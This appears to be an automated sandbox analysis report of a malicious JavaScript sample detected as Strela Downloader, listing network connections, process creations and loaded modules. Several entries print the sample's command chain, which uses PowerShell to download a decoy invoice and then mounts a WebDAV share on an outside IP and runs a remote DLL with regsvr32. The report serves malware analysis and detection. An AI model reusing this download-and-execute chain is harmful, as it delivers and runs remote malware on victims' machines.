Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2075732241.00000228C1DFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2138908266.00000270B26C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2138908266.00000270B26F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2138908266.00000270B271B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2138908266.00000270B26F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/%moC
Source: net.exe, 00000007.00000002.2138908266.00000270B26F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Ym
Source: net.exe, 00000007.00000002.2138908266.00000270B26F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/em
Source: net.exe, 00000007.00000002.2138908266.00000270B26C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3366785795.000001CF69685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2133205757.000001CF69450000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3752, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 739144331377016921.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1308:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sqbt3rxa.ued.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2256 --field-trial-handle=1620,i,15538910520980501664,16723883179804566774,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2256 --field-trial-handle=1620,i,15538910520980501664,16723883179804566774,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
